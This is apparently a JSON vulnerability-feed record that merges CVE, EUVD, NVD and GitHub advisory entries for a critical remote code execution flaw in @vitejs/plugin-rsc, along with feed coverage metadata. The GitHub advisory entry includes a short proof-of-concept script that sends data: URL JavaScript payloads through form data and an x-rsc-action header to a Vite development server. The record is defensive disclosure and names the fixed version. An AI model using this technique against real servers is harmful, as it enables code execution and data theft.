{"id":"EUVD-2025-201824","revision":null,"records":[{"revision":"e28bc6a8c1604d6495f4019e36ce73c1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-67489","aliases":[],"title":"@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server","description":"@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6.","state":0,"publishedAt":"2025-12-09T20:54:23.716+00:00","modifiedAt":"2025-12-10T16:00:25.438+00:00","affected":[{"ecosystem":"Vendor product","name":"vite-plugin-react","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vitejs\",\n                    \"product\": \"vite-plugin-react\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.5.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr","https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-67489","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-67489","identifiers":["CVE-2025-67489"]},"retained":false,"historicalAffected":[]},{"revision":"e8c256966e1148ed950358148f1448d6","observedAt":"2026-11-09T04:10:13.248+00:00","statement":{"source":"euvd","id":"EUVD-2025-201824","aliases":["CVE-2025-67489","GHSA-j76j-5p5g-9wfr"],"title":"@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServ…","description":"@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr","https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-201824","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Dec 9, 2025, 8:54:23 PM","dateUpdated":"Dec 10, 2025, 4:00:25 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-201824","identifiers":["EUVD-2025-201824","CVE-2025-67489","GHSA-j76j-5p5g-9wfr"]},"retained":false,"historicalAffected":[]},{"revision":"5372508e32114ca793fd4b003883a289","observedAt":"2026-10-25T04:17:10.72+00:00","statement":{"source":"nvd","id":"CVE-2025-67489","aliases":[],"title":"@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServ…","description":"@vitejs/plugin-rs provides React Server Components (RSC) support for Vite. Versions 0.5.5 and below are vulnerable to arbitrary remote code execution on the development server through unsafe dynamic imports in server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints. Attackers with network access to the development server can read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces. This issue is fixed in version 0.5.6.","state":0,"publishedAt":"2025-12-09T21:16:00.497+00:00","modifiedAt":"2026-10-14T21:10:00.183+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4","https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-67489","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94"],"productCriteria":[],"sourceDates":{"published":"2025-12-09T21:16:00.497","lastModified":"2026-10-14T21:10:00.183"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-67489","identifiers":["CVE-2025-67489"]},"retained":false,"historicalAffected":[]},{"revision":"c9931e839e79422a8970fb79247f5547","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-j76j-5p5g-9wfr","aliases":["CVE-2025-67489"],"title":"@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server","description":"## Summary\n\nArbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.\n\n## Impact\n\nAttackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.\n\n\n## Details\n\nIn the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs:\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47\n\nDuring development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24\n\n## Proof of Concept\n\nThe example app is avialable in\n- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter\n- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js\n\n**Reproduction Steps:**\n\n- Stat development server `vite dev`\n- Run a following script `node poc.js`\n- See \"REMOTE CODE EXECUTION1\" and \"REMOTE CODE EXECUTION2\"  in server console\n\n```js\n// [poc.js]\nconst payload = {\n  0: [\"$F1\"],\n  1: { id: \"data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# \" },\n};\nconst fd = new FormData();\nfor (const key in payload) {\n  fd.append(key, JSON.stringify(payload[key]));\n}\n\nconst serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';\nconst response = fetch(serverUrl, {\n  method: \"POST\",\n  headers: {\n    \"x-rsc-action\": \"data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# \",\n  },\n  body: fd,\n})\n```","state":0,"publishedAt":"2025-12-08T22:16:31+00:00","modifiedAt":"2025-12-09T22:13:57.489399+00:00","affected":[{"ecosystem":"npm","name":"@vitejs/plugin-rsc","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.5.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr","https://nvd.nist.gov/vuln/detail/CVE-2025-67489","https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4","https://github.com/vitejs/vite-plugin-react"],"sourceUrl":"https://github.com/advisories/GHSA-j76j-5p5g-9wfr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j76j-5p5g-9wfr","identifiers":["GHSA-j76j-5p5g-9wfr","CVE-2025-67489"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-09T23:04:35.5115198+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-09T23:04:35.5115198+00:00","lastSuccessAt":"2026-11-09T23:04:35.7199619+00:00","error":null,"lastVerifiedAt":"2026-11-09T23:04:35.7199622+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-24e6fde7b744113daefb8f6135035fb8a5c69c9617c9c0d40574a0376532ffd3-dd2a77f649768340b3da193d98d597fa46c17d01cc081b31103212155ce6cd5d","complete":true,"records":421715,"lastAttemptAt":"2026-11-09T23:02:22.2942221+00:00","lastSuccessAt":"2026-11-09T23:02:22.1588494+00:00","error":null,"lastVerifiedAt":"2026-11-09T23:02:22.2942221+00:00","snapshotPublishedAt":"2026-11-09T22:27:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-47ea30d05491460caa5ce44b8cba58f9","complete":false,"records":13686,"lastAttemptAt":"2026-11-09T23:17:21.9523007+00:00","lastSuccessAt":"2026-11-09T23:17:21.948+00:00","error":"35 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-09T23:17:21.948+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13669,"expectedIdentifiers":13739,"failedIdentifiers":35},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-09T23:04:35.5115198+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-09T23:04:35.5115198+00:00","lastSuccessAt":"2026-11-09T23:04:35.7206951+00:00","error":null,"lastVerifiedAt":"2026-11-09T23:04:35.7206952+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-adb512372f6d42c7b17c6efd528c7d57","complete":false,"records":13692,"lastAttemptAt":"2026-11-09T23:05:02.0476605+00:00","lastSuccessAt":"2026-11-09T23:05:02.041+00:00","error":null,"lastVerifiedAt":"2026-11-09T23:05:02.041+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13704,"expectedIdentifiers":13739,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-f16b02cc2b44d5413157015d03b8f1bf0217fdb477438e8f5866bcf35b179abd","complete":true,"records":9930,"lastAttemptAt":"2026-11-09T23:04:35.3476978+00:00","lastSuccessAt":"2026-11-09T23:04:34.9543246+00:00","error":null,"lastVerifiedAt":"2026-11-09T23:04:35.3476978+00:00","snapshotPublishedAt":"2026-11-09T23:03:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-09T23:02:22.4504307+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-09T23:02:22.4504307+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-761ecc9061239b0da572dc9254c6f384c1d19339eb08408c436647a2f26129e9","complete":true,"records":3064,"lastAttemptAt":"2026-11-09T23:04:35.4661135+00:00","lastSuccessAt":"2026-11-09T17:05:03.4044794+00:00","error":null,"lastVerifiedAt":"2026-11-09T23:04:35.4661135+00:00","snapshotPublishedAt":"2026-11-09T16:33:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-fe5caa127af053959ad6ee208ca92e895a6f5d3c14202fe035925df5f35ffed2","complete":true,"records":231329,"lastAttemptAt":"2026-11-09T23:04:24.8967882+00:00","lastSuccessAt":"2026-11-09T23:04:23.4601156+00:00","error":null,"lastVerifiedAt":"2026-11-09T23:04:24.8967882+00:00","snapshotPublishedAt":"2026-11-09T22:48:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}